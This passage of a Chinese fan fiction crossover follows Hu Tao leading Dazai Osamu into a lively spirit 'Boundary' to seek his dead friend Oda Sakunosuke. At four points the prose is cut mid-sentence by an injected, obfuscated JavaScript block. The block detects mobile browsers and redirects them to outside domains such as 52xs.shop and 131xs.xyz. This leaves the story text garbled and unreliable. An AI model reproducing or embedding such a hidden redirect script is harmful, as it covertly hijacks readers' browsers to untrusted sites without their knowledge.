昏暗的光线中,他像是终于明白了什么。男人哽咽地收紧手臂,隔着「此世」与「彼岸」的界限,虚抱住了怀中的空气。 “我、我听到了。” “……对不起,爸爸让你们担心了。” “我在这,爸爸在这。” …… ………… 与此同时,另一边 胡桃转过头,冲太宰治眨了眨眼睛。两人默契地走出公寓,把最后一点相聚的时间,留给这一家人。 公寓外 太宰治靠着走廊一侧仰起头,透过屋檐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14369315|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一角,他看到有无数金色的光点从城市各处升起。 它们在灵态蝴蝶的指引下填满整个夜空,金色丝带一般,朝着远处尽头的方向飘去。 一瞬间,如夜空的星河倒挂,入目煌煌。 太宰治定定地仰着头,鸢色的瞳眸一动不动地注视着这些金色屑光。 片刻后,他收回视线,看向了同样靠在栏杆处,眺望夜空的胡桃。 没猜错的话,这一幕应该是瑞伊和扎克的功劳。 他们完成了堂主小姐的交代,把那些借来的旧玩具重新还给受害者的遗族们,以此为介质,达成了孩童们‘回家’的心愿。 无一例外的是,那些重新拿回遗物的家庭里,餐桌上都摆满了美味的菜肴。 或夫妻二人,或亲友共聚。 一如同某个遥远国度的葬礼习俗,‘解秽酒’。 生者在葬礼上摆出丰盛的酒席,人们有说有笑,欢聚一堂,以此告诉归来的逝者放心离去。 他们不会忘记,不会沉溺悲伤。 他们会继续向前看、向前走,直到重新相聚的那天到来。 即使眼睛无法看见,不灭的情感也会指引他们见面,完成重逢与告别。 横滨各处,无数公寓内 归来的幼童笑着与哭泣的父母拥别,他们仿佛快乐的星星,欢笑着跑向天边的尽头,那处有光的地方。 …… ………… 人死后会去哪里? 世间是否存在一个尽头,作为死者再次出发的休憩之地? 这个问题,从织田作之助的「影像」出现开始,太宰治就一直想要得到答案。 然后现在,它就在太宰治的眼前。 而他,只需要解决最后一个难题。 太宰治眨动眼睫,安静地注视着黑发少女的侧脸。 试问,他该怎么做,才能让「往生堂」的堂主妥协,带他前往鬼魂的休憩之地? 这一路上,太宰治观测到足够多的东西,也得到了足够多的线索。 往生堂的堂主小姐无懈可击,但她身边的人不是。 该用哪一个手段? 该用……哪一种胁迫?或者——交易? 太宰治冷静地思考着。 与此同时,公寓内,一只灵态的蝴蝶从其中飞出,扇动着金色的翅膀,轻轻停留在了胡桃的指尖。 【时间到了。】 “胡堂主——” 太宰治鸢色的瞳眸沉静,他张开口,做好了‘下注’的准备。 但在这之前,太宰治突然听到了一句很轻的低语。 它小声地隐匿在夜风中,像是感怀的诗歌,又像是某种祝福,是太宰治从未接触过的陌生语言。 【儿别千里,莫哭莫愁,月兔捣药,扶桑成薪。祝喜乐顺遂,年年平安。】(①) 话毕,胡桃收回了望向天边的视线。 她转过头,笑嘻嘻地弯起眼角,身后倒映着金色辉光的夜空,主动对太宰治伸出手, “……来吧,不知名的客户先生,让你久等了。” “「边界」已开,随我来,本堂主带你去友人的‘告别葬礼’。” 23.Episode 23 剥离伪装 该如何形容太宰治此时的心情呢? 总归不可能是喜出望外,并欣然接受的。 在今天以前,太宰治曾设想过无数种谈判方案,以此迫使「往生堂」妥协。 但在这些方案中,绝不包括眼下这一个—— “来吧,「边界」已开。” “随我来,本堂主带你去‘友人的告别葬礼’。” 那些他计划的、认为需要付出巨大的代价才能获得的东西,就这样被黑发少女主动递来。 对比之下,他此前所有的费尽心机,都像是在和空气斗智斗勇,透着一股诡异的诙谐和幽默。 一句话总结就是,大招打在棉花上,输麻了。 而这,已经是第二次了。 “……胡堂主。” 太宰治幽幽地盯着胡桃,忽然叹了口气,表情透着几分莫名的悲愤。 这位胡堂主,就不能哪怕一次、哪怕有一回,按照他的设想行动吗! 对此,胡桃一脸疑惑地表示:理解不了,完全不知道客户在悲愤什么。 “约翰,往生堂既然承诺过,要让客户十分满意,就一定会做到。怎么?本堂主看着,就那么像言而无信之人吗?” 太宰治没有回答。 他看着胡桃,片刻后,太宰治突然嗤笑一声。 他自暴自弃般收起了脸上过分生动的表情,懒得在胡桃面前,再多维持一秒无用的伪装。 这是一个再正常不过的反应。 当人们决定改变谈判策略,或者暂时拿不准该采用何种手段时,就会收起多余的情绪流露,选择最简单的面无表情。 然而,当它被太宰治做出来时,又多了几分令人心惊的意味,就好像—— 少年有意表现的‘和善’与‘无害’,都在这一刻被尽数收起。太宰治的目光微垂,视线轻柔地落在了比自己矮一个头的胡桃脸上。 只是这样一个小小的改变,瞬间让他身上属于黑手党的某些特质暴露无遗。 让他从‘约翰’,又重新变回了那个被部下们畏惧的、捉摸不透的‘太宰干部’。 当然,如果让太宰治本人来说明的话,他只会笑着表示,他的部下还是太没用了。 平时脑瓜不怎么灵活,想得倒是挺多。 一个表情而已。 谁又规定,人在笑的时候,是心情愉快的;在面无表情时,就一定是生气的呢? “既然承诺让客户十分满意——” 太宰治没什么表情地盯着胡桃,有意地拉长尾音,轻声问道,“那么,胡堂主,我能请教一个问题吗?” “你是怎么肯定,我提到的友人就是织田作之助?” 放弃伪装后的太宰治,表现出了与之前截然不同的态度。 他无视了胡桃伸来的手,选择双手插在口袋里,走到少女身边,状似好奇地发问。 但他询问的声调又是懒散的,没有太多起伏。仿佛这只是打发时间的闲聊,少女即使说谎也无所谓,他早就知道答案。 不得不承认,如此与‘讨厌鬼’没两样的态度,是个人见了都想‘邦邦’给上两拳。 此处,如果换成某个出差中的重力使,大概早就火大地跳起来,一边揍人,一边受不了地大骂, “还在装!还在试探!” “死青花鱼,你一句话里不拌上几吨试探,就不会说人话是不是!” 没错,某个前黑手党干部依然在试探,并试图挑衅激怒胡桃,以此确定少女究竟猜到多少。 比如,他的真名。 又比如,他的身份。 然而,胡桃的脸上不见一丝怒气。 又或者说,堂主小姐并不在意。 在胡桃看来,眼前这位不知名的客户,大抵天生如此。 无论是如表演一样夸张的反应,还是温和无害的笑容,甚至是此时‘讨厌鬼’似的态度,都是他的一部分。 正所谓,一样米,养百样人,实在不必大惊小怪。 “与其说是肯定——” 胡桃看了一眼太宰治。 说话间,她右手的指尖轻轻一动,放任金色的灵态蝴蝶飞起,在空中拖曳着光点,落成一条通往「边界」的长路。 “约翰,这不是你主动告诉我的吗?” “我?” 太宰治眨巴了一下眼睛,脸上的意外不似作伪。 胡桃在太宰治的注视中收回左手,她没有探究太宰治的真名和真实身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14376384|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份,依旧以假名称呼他, “约翰,事实正如你这一路所见,逝去的鬼灵不会无故出现,大多都是出于一些未了的抱憾和心愿。因此,他们愿意与人沟通,也比想象中的更友善和通情达理。” “但如果出现鬼灵不与人交流,只是像播放电影一样,一遍又一遍地重复生前的遭遇,那就不一样了,这属于另一种情况。” 胡桃说着抬起眼。 夜空下,少女的瞳眸倒映着灵蝶的金色光芒,笔直地对上太宰治鸢色的眼睛。 胡桃的声音微低,带着一种即将唤醒沉睡之人的温和, “约翰,和幽灵与亡魂相关的事呢,无论发生什么,都是奇怪的,同样也是不奇怪的。”(①) “鬼灵会影响人类,那么相对的,人类同样会在某些情况下生成某种【残像】。” 或是出于思念,或是出于悔恨。 【残像】一般出现在逝者离去的数周内,再加上那张纸条的笔记,太宰治对‘织田作之助’这个名字的无形关注…… 最终答案,显而易见。 换句话说—— 胡桃看着太宰治,缓缓道出早已发现的实情, “约翰,你才是织田作之助【残像】出现的主因。” “或许你自己没有察觉,但从你出现的第一秒起,你的每一句话在本堂主听来,都是在求助。” 而这,同时也是那张纸条上,真正的委托内容—— 【请给他一个告别葬礼,送别织田作之助。】 这里的‘他’,指的从来不是‘织田作之助’,而是死去的织田作之助关心的、无法放心的某一位友人。 而这位友人的身份—— “他就是你,约翰。” 随着胡桃的话音停下,太宰治的表情愣住。 这一次,一向聪明的、仿佛能窥破人心的前黑手党,终于在失去伪装后,第一次露出了计划外的茫然。 正如某个红发青年,生前对另一个友人所叙述的—— 【安吾,太宰很聪明,又最让人放心不下。】 【他看穿了‘得到就意味着失去’的事物本质,却尚未做好‘失去’的准备。往往这样的孩子,才最让人担心。】 24.Episode 24 可以牵一下手吗? 在这里,如果以胡桃的视角回溯整件事,就会神奇地发现,某个前黑手党干部从出现的第一秒起,就毫无‘神秘’可言。 首先是北边港口。 几乎全横滨的人都知道,北边的港口闹鬼。 那段时间,除了胡桃每天扛着钓竿,兴冲冲地往港口跑之外,那里连一只海鸥都没有。成功达成了身在市区,却‘狗不生蛋鸟不拉屎’的奇妙成就。 也正因为如此,扎克才不止一次吐槽,谁家正值青春的小姑娘整天提着水桶,没事往闹鬼的海边凑。 然后,在胡桃连续蹲点港口的第四天,一个失忆的美少年(?)破水而出。 说这里头没有点猫腻,连扎克都不信。 唯一让胡桃感到疑惑的是,既然这位突然冒出的少年有求于「往生堂」,为什么不直接以客户的身份登门下单,非得处心积虑地使用手段? 很快,胡桃从太宰治故意激怒扎克的举动中,得到了答案。 理由很简单—— 【他不信任「往生堂」。】 【又或者说,他所求之事与现世的葬仪无关,反而与「往生堂」声名在外的那条‘流言’有关。】 【所以,他需要眼见为实,亲眼目睹答案。】 好吧,不信任就不信任吧。 在想通这一点后,胡桃大方地表示,行! 反正他们也不是第一次碰到这样的客户了,早就习惯了。 至于亲眼目睹…… 嗨,多大点事儿。 胡堂主继续表示,其实根本不需要那些手段。 这位客户完全可以直接报名,参加他们新推出的‘往生一日体验会’活动嘛! 保证从送灵到火化,一应俱全,一步到位! 本着既然来都来了,实在没理由放过主动送上门的客户,胡桃爽快地默许了太宰治试图加入委托的行为。 当然,保险起见,可靠的堂主小姐决定还是把人带在身边。 接下来,就是在解决委托的时候,顺便配合满足一下客户的‘失忆’演出。 他们往生堂可是专业的,向来承诺百分之一百让客户十分满意,即使是演戏也没有死角! 在横滨警局时,菜鸟木村刑警曾悄咪咪地询问胡桃,太宰治是什么人。 彼时,胡桃给出的答案是‘一个麻烦又不太寻常的客户’。 事实上,那时候的胡桃确实是这么想的。 她暂时还没有把‘织田作之助’,与‘约翰’联系在一切。 直到商业街时,太宰治主动后退一步,告知了自己的真正来意。 “胡堂主,如果说我亲眼见过呢?” “在我的友人死后,我曾一遍又一遍亲眼目睹他的亡魂在我面前跑过,就用这双眼睛。你相信吗?” 胡桃必须承认,直到这一刻,她才真正重视起这位‘神秘客户’,将他列入待解决名单。 现在回想起来,很难说,这不是太宰治的另一种以退为进的手段。 但胡桃不在意。 因为,这恰巧也证实了她心中的另一个猜想—— 那个名为‘告别’的葬礼,究竟是为谁而存在的。 以及,这则订单,真正的委托人是谁。 …… ………… 在这一连串的委托与事件中,胡桃知道太宰治在观察「往生堂」,并寻求可利用的破绽;而太宰治同样心知肚明,这位年轻的堂主小姐清楚他在撒谎,知道他处心积虑,别有预谋。 但即便如此,往生堂的堂主依旧默许了他的一切行动。并在最后,对他发出前往「边界」的邀请。 为什么? 唯独这一点,太宰治想不明白。 这位年轻的堂主小姐看似一切皆允,非常好说话,实则有着一条严酷而清晰的底线。 即使是那群孩子和竹本桃香的哀求,也只换来一次短暂的告别。 他凭什么以为,对方唯独会对他另眼以待? 然而,事实却再一次出乎了太宰治的意料。 为什么? 凭什么? 深夜,公寓走廊外 在短暂的愕然与无措后,太宰治很快恢复了冷静,速度快得仿佛那片刻的失神,只是月光造成的错觉。 两人四目相对,静谧的夜色在其中无声蔓延。 数秒后,太宰治开口,主动打破了彼此的沉默。 “胡堂主,你曾经说过吧,看不到的人还是永远不知道比较好。即使是竹本浩志,你也没有让他跨过那条线,和孩子直接见面,而是使用更迂回的手段。” “那么,你为什么唯独允许我跨越「边界」?” “你想从我这里得到什么?” 他身上还有什么东西,值得往生堂的堂主小姐,做出如此巨大的让步? 胡桃:“……” 太宰治这一番难得直白的质问,成功让胡桃呆了一秒。 第二秒时,黑发少女回过神,总算明白了这位客户在纠结什么。 “嘶,我说约翰啦——” 胡桃一言难尽地看着太宰治,语气肯定, “其实,你是那种表面和人约好一对一单挑,实则背后偷偷使坏,往对手的游戏机上撒饮料,疯狂作弊的那种人吧。” 还真这么干过的太宰治:“……” 这一刻,现场原本尖锐的气氛,又莫名诙谐起来,即将往奇怪的方向狂奔而去。 偏偏某个堂主小姐毫无自觉。 她双手叉腰,无奈地叹了口气,一副怎么有这么麻烦的客户的口吻, “说什么‘唯独允许’……” “约翰,那当然是因为你已经被牵连进来了,事已至此,本堂主也不在乎你多看一点东西。” 更不用说,这位客户还是死者指定的委托对象,又是造成‘残像’的罪魁祸首。 如果放着不管,指不定还会闹出什么幺蛾子。 与其阻止,不如实际带人走一遭。 当然,万一真的节外生枝,对方在里头遭受了什么精神冲击—— 说到这,胡桃突然两眼一弯,对太宰治露出一个十足可爱的笑容。 她右手成手刀,利落地往下一切,笑眯眯地承诺道, “放心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14389523|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 届时本堂主会亲自帮你清理记忆,保证一秒到位,绝无残留~” 太宰治:“……” 这位胡堂主,刚刚是不是一脸清爽地说出了不得了的黑店发言? “不过,约翰,你倒是提醒了本堂主。” 胡桃手指扶住下巴,想到了一个不错的方案, “咱们往生堂向来以客户为准,既然比起正常的客户流程,筹码交易更让你安心……行!我这里正好有个很棒的提案!咳,关于上次,咱们说的马拉松宣传——” “我拒绝。” 太宰治微笑地开口,一秒掐断了某堂主的企图。 胡桃鼓起脸颊,勉强后退一步,“好吧,那就换成‘偶像选举大赛’……” “这个我也拒绝。” 可惜,某个前黑手党干部言笑晏晏,寸步不让。 “这也不行,那也不行……” 胡桃虚起眼睛,有理由怀疑,这位客户完全没有谈判的诚意! “胡堂主,”太宰治认真地表示,“你别看我这样,我好歹在横滨还是有一点点声望的,暂时不想沦为笑柄。麻烦再换一个选项。” 胡桃安静地与太宰治对视。 片刻后,少女收起了玩笑的态度,脸上浮现起难得的认真神态, “那么,约翰,我们来定一个「君子协议」吧。” 太宰:“君子协定?” “对。” 胡桃点头,“协定的内容很简单,在本堂主这里,你可以使用任何手段,随便怎么试探都行,唯独一点,禁止去招惹瑞伊和扎克。” “不管你挖出了多少他们的背景资料,今天之后,你承诺都会把它们处理干净,保证不被第二个人知道。” 毕竟,扎克就算了,他们家的小瑞伊可是很可怕的。 她还不想有一天,「往生堂」被外人搅得鸡犬不宁。 “如何?这个约定你同意吗? 太宰治不说话了。 他鸢瞳沉静地注视着胡桃,意味深长地开口,暗示道, “不是使用「边界」,而是拿自己作为筹码交换……胡堂主,你确定吗?” “即使有一天,他们的真实身份,可能会给你带来不得了的大麻烦?” “那也是本堂主的选择。” 胡桃神情不变,“他们一天是往生堂的员工,作为堂主,我就有保护他们的义务。” 太宰治:“……” 这一次,太宰治沉默了更久。 足足三秒后,他爽快地点头,一口答应,“好,成交。” 与此同时,像是正正好掐准时间般,负责引路的灵态蝴蝶翅膀轻轻一振,如萤火般消弭不见,一个暗色的入口出现在道路尽头。 无形的浓雾遮蔽在入口处,兀自不断旋转,将「现世」与「彼岸」隔开。 太宰治看了一眼「边界」的入口。 他突然转过头,笑着对胡桃伸出手,掌心朝上,光明正大地进行最后一次试探, “在进入「边界」前,胡堂主,我可以牵一下你的手吗?” “实不相瞒,其实……我怕黑。” 25.Episode 25 紧握的手 哦?怕黑? 胡桃看了一眼太宰治伸来的掌心,又抬起头,对上一张比隔壁的邻家少年,更纯真无害的笑脸。 两秒后—— “没问题,这好办!” 胡桃爽快地点头。 她伸出右手,但不是去牵太宰治,而是指尖在空气轻轻一抓。下一秒,一柄古朴的白缨长枪凭空出现。 前端由胡桃握着,另一端贴心地横起,被胡桃往太宰治的掌心轻轻一搭。 “喏,抓着吧,效果是一样的。” “有诗言道,白缨猎猎,势如流星!你看这枪身,比你的脑壳儿都亮!” 胡桃声情并茂地介绍道。 末了,她还不忘了眨巴一下眼睛,期待地看向某个怕黑的客户, “怎么样?这下是不是不怕了?感觉安心了许多?” 太宰治:“……” 是啊,确实安心多了,就是掌心有点冷。 另外,他合理怀疑这枪有意识—— 它扎人! 一番和谐友善的交流后,鬼魂的休憩之地已近在眼前。 在进入「边界」前,本着往生堂向来贴心的人道主义精神,胡桃还是转过头,特别叮嘱了一句, “约翰,一会儿你不管看到什么,听到什么,都千万、千万不要理会知道吗?本堂主可不想刚一进去,就替你清理记忆,怪麻烦的。” “放心吧,胡堂主。” 某个前黑手党干部,笑眯眯地一口答应。但那双写满了兴奋的鸢色瞳眸,怎么看都不像是能放心的样子。 更不用说,还有接下来这一连串可疑的发言。 “边界、黄泉、地狱……啊,真是令人心潮澎湃的向往之地啊!莫非还能见到传闻中的三途川,被阴差五花大绑,下油锅炸死~” 最后那个‘死’字,不仅活力满满,还很神奇地往上凹了一下,冒出一个荡漾的波浪号。 胡桃:“……” 是错觉吗,这位客户的画风,好像突然奇怪了起来。 不过嘛—— 胡桃瞅了一眼太宰治。 下一秒,她像是想到什么,不仅没出言打击某个家伙的积极性,反而‘嘿’地笑了笑,跟着弯起眼睛,一副等着看好戏的小恶魔表情。 太宰治:“?” 突然有种不好的预感。 “那个,胡堂主……” 太宰治默默收敛起笑容,刚准备开口询问,下一秒,他就感觉手中的白缨枪被用力一拽,堂主小姐欢快的声音跟着传来—— “走啰,出发!” 太宰治:“!!” 哗啦—— 几乎是皮肤沾染上雾气的瞬间,太宰治感觉自己像被一团冰冷的液体裹住。整个人仿佛被投入深不见底的灰河,熟悉的溺水感跟着蔓延而上。 视线被雾气遮蔽,窒息般的压力下,连意识都跟着一点点涣散。 唯独他手中握住的白缨枪…… 【回神!约翰——!】 胡桃的这一声清喝如惊蛰的春雷,在太宰治脑中轰然炸开! 即使只是假名,但其中蕴含的力量,也足以让太宰治的思绪一清。刹那间,包围在他周身的雾气尽数散去,视线重新恢复清明。 他转过头,发现自己手中握着的白缨枪,不知什么时候消失不见了。 取而代之的,是少女纤细的五指,正紧紧地攥着他的手腕。 由于太过用力,胡桃的手背绷起,能清晰地看到少女白皙的皮肤下脆弱的青筋。 太宰治的视线落在抓着自己的手上。 停顿片刻后,他循着力道抬起眼,对上胡桃侧目望来的眼睛。 此刻,少女的眼中映着「边界」的微光,衬得那双梅花瞳眸如赤色的玛瑙,泛着温润的光泽,异常晶亮漂亮。 “清醒过来了?” 胡桃仔细盯着太宰治的眼睛。 在见到其中恢复的神采后,她才松开握着太宰治手腕的手指。 这仿佛是一个信号。 就在少女的嗓音响起的刹那,属于「边界」的声音顿时如海浪袭来,尽数涌入太宰治的耳中。 其中还夹杂着几声老当益壮的嚷嚷。 “——欸,吃!” “吃、吃你个鬼啊!这里明显该走车,然后直接跳马!” “跳跳跳,我看你长得就像头跳马,这局就该先按兵不动,看他怎么出!” 「边界」一角 几个老头老太太围在一棵树下,周围桌椅石凳一应俱全。 他们的桌面上摆着一副象棋,双方棋手在老人们的指挥下你来我往,对弈得无比热闹,颇有公园神秘老人,集体教你下象棋的即视感。 如果这还不算完—— “啊咿呀呀——” 伴随着一声清嗓,一句豪迈的唱腔顿时横空出世。 “将军~桥上~一声吼~~喝得那彗星~也倒流流流~”(①) 只见穿着蓝色病号服的年轻女子站在拱桥边,手里捏着兰花,唱得那叫一个气沉丹田,豪气如云。 当然,只要不看她隔壁,正蹲着一个浓眉大眼的刀疤脸壮汉,穿着可爱的小熊围裙,一边给路过的小孩烤香肠,一边编花环就更好了。 如果这还不算最违和的。 太宰治往前远眺,发现「边界」河岸的尽头,整齐地站着另一队老头老太太。 他们旁边坐着一个戴着墨镜的盲人老头,众人在二胡的伴奏下踏步,深情地摇着花手,翩翩起舞。 那场面怎么看怎么魔性,让人由衷地想抬手扇自己一巴掌,看看是不是早上没睡醒。 太宰治:“……” 说好的阴森恐怖,闲人勿进的「边界」呢! 这不就隔壁小区楼下的公园吗?! 这一刻,某个前黑手党干部,感觉自己的精神世界受到了一万点冲击。 恍惚中,他甚至听到了梦想中的‘死后世界’哐当一声,碎成一千片的清脆动静。 “……胡堂主。” 太宰治微笑地转头,和某个同样笑嘻嘻的堂主小姐四目相对。 一时间,场面安静极了。 什么话都不用说了,什么话都在这笑容里。 “嘿嘿,本堂主可没说,「边界」是什么阎罗地狱哦。” 胡桃双手叉腰,背后仿佛长出了小恶魔的尾巴,在空中得意地一甩一甩。 堂主小姐笑容可爱,振振有词, “约翰啊,你还是太年轻了。所谓「边界」呢,其实就是距离【死】最近的地方,暂时不愿离去的魂灵会在此处歇脚。” “简单来说,它就是一个休息站。至于什么时候真正离开,又会滞留多久,全凭魂灵对生者世界还剩多少强烈的留恋,往生堂不会干涉。” 虽然更多时候,这一点,恐怕连魂灵自己也控制不了,说不清道不明。 【对生者世界的留恋。】 在听到这一句时,太宰治的心中突然咯噔一下,一种近乎直觉的预感油然而生。 “当然,这些的前提是——” 胡桃的声音继续传来。 她微微眯起眼睛,压低的声音里透露出一点危险, “他们都乖乖地在‘该在的地方’,没有四处乱跑,到处吓人。” “好了,科普到此为止。约翰,去找你的友人吧。” 胡桃扬声说道。 太宰治转过头,视线落在了那些或是来往匆匆,或是有说有笑的幽魂方向。 分明已经身处目的地,但太宰治的脸上,却没有一丝即将友人重逢的激动喜悦。他静静地站在原地,注视着「边界」的一花一草。 少年的神情静默,鸢瞳沉静。 这是再平常不过的表情,胡桃却像是察觉到了什么,稍稍放轻了一点语调, “放心吧,这里虽然幽魂无数,时间流速却不快。只要你的友人没有完全离开,他就一定在这里。” “本堂主向你保证,我会一直等在这里,直到你回来为止。” …… ……………… 太宰治离开了。 胡桃站在原地,看了一眼太宰治走远的背影。 随后,她长长伸了个懒腰,目光落在了另一处,那些鬼童们聚集的方向。 竹本桃香和竹本凉太也在其中。 作为年龄最大的那一个,十四岁的少女主动承担起‘带队老师’的工作。跟哄幼稚园小朋友过马路一样,她领着一队幼崽,叽叽喳喳地往‘起始和安息之地’走去。 中途的幽魂老人笑眯眯地望着这一幕,眼含祝福。 偶尔有几个年轻幽魂停下来,神奇地从怀里掏出一些小吃食,或是漂亮的花环递给这些年幼的孩子们。 这是好事。 把前往‘起始与安息之地’当做春游,毫无遗憾,快乐前行。 小娃娃都懂的道理,反而是他们这些大人想不通,整天徘徊在「边界」。 哎呀,不如小朋友,不如小朋友啰。 一些魂灵自嘲地笑笑,目送的眼中带着几分感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14398096|151613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慨,几分落寞。 ‘春游’队伍的前方,竹本凉太牵着竹本桃香的手,姐弟并肩而行。 热闹的谈话中,时不时还能听到小凉太活泼的嗓音,跟自家姐姐介绍自己的小伙伴。 “姐姐,姐姐,这是木木,这是阿和,我们在小房子的时候……” 竹本桃香逐一点头致意,很感谢他们对幼弟的照顾。 行动间,一道金色的金属光泽在竹本桃香的脖子处晃过。 那是关东大赛的冠军奖牌。 另一边,小凉太的脖子上则是挂着一条新的长命锁。 奖牌和长命锁。 这些都是胡桃和太宰离开公寓前,竹本大叔递来的,算是饯别的信物。 “胡堂主,这个……” 似乎是明白了什么,又像是猜到了什么,在临别前,竹本浩志没有追问,更没有请求跟上的意思。 他只是取来随身携带的奖牌,和一条新打好的长命锁。 男人双手捧着,郑重地把它们递给胡桃,对少女的称呼也从随意的‘胡桃小姐’,变成了更正式的‘胡堂主’。 “……就当是礼物,请带上吧。” 竹本浩志没有明说这是给谁的礼物,但三人都心知肚明。 …… ………… “欸!吃——!吃!哈哈哈哈哈,老夫就说这里要开局‘当头炮’嘛。你这小年轻还不识相,看!咱赢了!” 树下,石凳边 一个老头幽魂洪亮的笑声传来。 他还想说什么,却发现周遭的老伙计们都愣愣地看着自己,随即,脸上露出了分别时的祝福笑容。 老头跟着一愣。 他低头看了一眼自己逐渐透明的手掌,也明白了过来。 “哦,看来老夫的时间也到了,该走了。” “走啰,走啰,你们也别太慢啊,哈哈哈哈哈!” 老头幽魂畅快地大笑,挥手与同伴们告别。 只是在完全离开前,他突然转过身,遥遥对着胡桃的方向鞠躬,行了一个正式的告别礼,作为他滞留「边界」多年的歉意和感谢。 “哎呀呀,这可不敢,要折寿的嘞!” 胡桃惊呼一声,但还是微微侧身,算是接受了老头幽魂的半礼。 在这个鬼灵的休憩之地,每天都有新的魂灵到来,也有旧的离开。 有人行色匆匆,有人形容哀怨。 但无论如何,这都不是坏事。 等待期间,胡桃估算了一下太宰治找人的速度,判断应该还要一会儿时间。 于是,她直接一路溜达到河岸尽头,对拉二胡的盲人幽魂表示,她也要加入! “放心放心,本堂主可是专业的,往生堂和擂钵街的人听了都说好!至今无一句差评!” 胡桃拍着胸脯,信誓旦旦地保证。 “您确定?” 盲人幽魂半信半疑,但本着对堂主小姐的尊重,还是把二胡递了过去。 事实证明,这绝对是一个令鬼悔恨的决定。 倒也不能说堂主小姐的二胡演奏水平不行,主要是这水准吧……它还真的不太行。 一曲悠扬的二泉映月,愣是被胡桃划拉得有如遮天蔽日,狂蜂来袭。 那画风简直是落霞与大象齐飞,罗密欧与忽必烈斗舞。 隔壁老头老太太们深情的花手都摇不下去了,慈祥地请求胡堂主放下二胡,立地……呃,不是,是立即走远一点,再远一点! “你看,胡堂主,阿龙那里研究出了新食谱,有好吃的哦!快去快去!” “对对对,阿龙有虾饺,还会做荷包蛋!” 一群老太太疯狂助攻,哄小孩似地把胡桃往另一边赶。 胡桃:“……” 欸——怎么这样!本堂主的二胡真那么差? 明明瑞伊都说了很好听,扎克和擂钵街的其他人也没意见的…… 堂主小姐超级委屈,一步三回头地离开。 还不等她赶到下一个霍霍的地点,给擅长下棋的魂友们,一点点璃月街头的斗棋震撼,少女刚一转身,发现太宰治就站在不远处。 少年双手插在大衣的口袋里,安静地望着这一边,不知围观了多久。 “道完别了?” 胡桃有点惊讶对方的速度。 太宰治摇了摇头。 他望着前路,那个‘安息之地’的方向,轻声道出了一个出乎胡桃预料的答案, “胡堂主,织田作不在这了。我……没有赶上。”